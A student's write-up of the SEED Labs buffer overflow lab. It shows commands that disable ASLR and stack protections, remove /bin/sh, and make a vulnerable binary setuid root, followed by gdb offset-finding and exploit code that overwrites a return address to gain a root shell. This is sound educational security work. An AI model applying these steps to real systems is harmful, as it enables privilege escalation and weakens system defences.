Lab 1: Buffer Overflow Vulnerability Lab

Samuel Shen Prof. Kadri Brogi
CUNY John Jay College of Criminal Justice
September 23, 2019

1. Introduction
   In this week's lab, we are experimenting with the buffer overflow vulnerability to understand how an adversary can change how programs execute code save in memory. We are given four programs from SeedLab: stack.c, call_shellcode.c, exploit.c, and exploit.py. In today's experiment, we will be using exploit.c instead of exploit.py to experiment with the buffer overflow vulnerability.

   For this lab experiment, I will be using a virtual machine provided by SeedLabs, Ubuntu 16.04 LTS. We will configure the Virtual Machine as per the lab instructions.

2. Disabling Countermeasures
   In Ubuntu 16.04 LTS, there are multiple countermeasures put in place to prevent buffer overflow. These countermeasures are Address Space Randomization, The StackGuard Protection Scheme, Non-Executable Stack, and (for Ubuntu 16.04) configuring /bin/sh. We will need to disable all of these countermeasures before we can begin with the experiments.

   To disable the Address Space Randomization, we can run a command to disabled this:

   ```
   $ sudo sysctl -w kernel.randomize_va_space=0
   ```

   To disable The StackGuard Protection Scheme, we will need to run the program using gcc and the -fno-stack-protector in order to disable it.

   ```
   $ gcc -fno-stack-protector example.c
   ```

   In order to execute Stack, we will need to run the program with -z execstack command

   ```
   For executable stack:$ gcc -z execstack -o test test.c

   For non-executable stack:$ gcc -z noexecstack -o test
   test.c
   ```

   For the last step, we will need to configure /bin/sh. This can be done by executing two commands in terminal:

   ```
   $ sudo rm /bin/sh
   $ sudo ln -s /bin/zsh /bin/sh
   ```

```
[09/19/19]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/19/19]seed@VM:~$ sudo rm /bin/sh
[09/19/19]seed@VM:~$ sudo ln -s /bin/zsh /bin/sh
[09/19/19]seed@VM:~$
```

3. Task 1: Running ShellCode
   After configuring the virtual machine, we can run the shellcode in order to start the vulnerable program. We can run the program with the following command in terminal:

   ```
   $ gcc -z execstack -o call_shellcode call_shellcode.c
   ```

4. The Vulnerable Program
   In the next step, we will need to compile the vulnerable program. This program is already provided on the SeedLabs website called stack.c. In order to compile the program without any issues we will need to run it with -z execstack and disabling the stack protector by using the "-fno-stack-protector" code from above. After compiling the program, we will then need to run two commands in terminal to modify the ownership of the programs to root and changing the permission to 4755 to allow the program as a root-owned set-UID program.

```
[09/19/19]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
call_shellcode.c: In function 'main':
call_shellcode.c:24:4: warning: implicit declaration of function 'strcpy' [-Wimp
licit-function-declaration]
    strcpy(buf, code);
    ^
call_shellcode.c:24:4: warning: incompatible implicit declaration of built-in fu
nction 'strcpy'
call_shellcode.c:24:4: note: include '<string.h>' or provide a declaration of 's
trcpy'
[09/19/19]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protector stack.c
[09/19/19]seed@VM:~$ sudo chown root stack
[09/19/19]seed@VM:~$ sudo chmod 4755 stack
[09/19/19]seed@VM:~$
```

5. Task 2: Exploiting the Vulnerability
   In this step of the experiment, we are given a file from the SeedLabs. In this program we will need to complete the program to create the contents for badfile. In order to complete this program, we need to find the address of the buffer using gdb. Then we will need to find the difference between the shellcode to the buffer. We can figure this out by running the following commands:

```
Breakpoint 1, bof (
    str=0xbfffeb67 "aaa...(100 characters omitte
d)...aaa\n\001") at stack.c:14
14          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb48
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeb28
gdb-peda$ p 0xbfffeb48 - 0xbfffeb28
$3 = 0x20
gdb-peda$
```

`gdb stack-dbg` access the debugging tool
`b bof` Set a break point in the function bof
`run` Execute the program

```
void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */

        *((long *) (buffer + 36)) = 0xbfffeb48 + 0x80;
        memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeo$
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

After completing the program, I compiled the program and ran both exploit and stack. Doing this, I was able to get a root shell. By getting a root shell, this shows that I was successful in exploiting the vulnerability.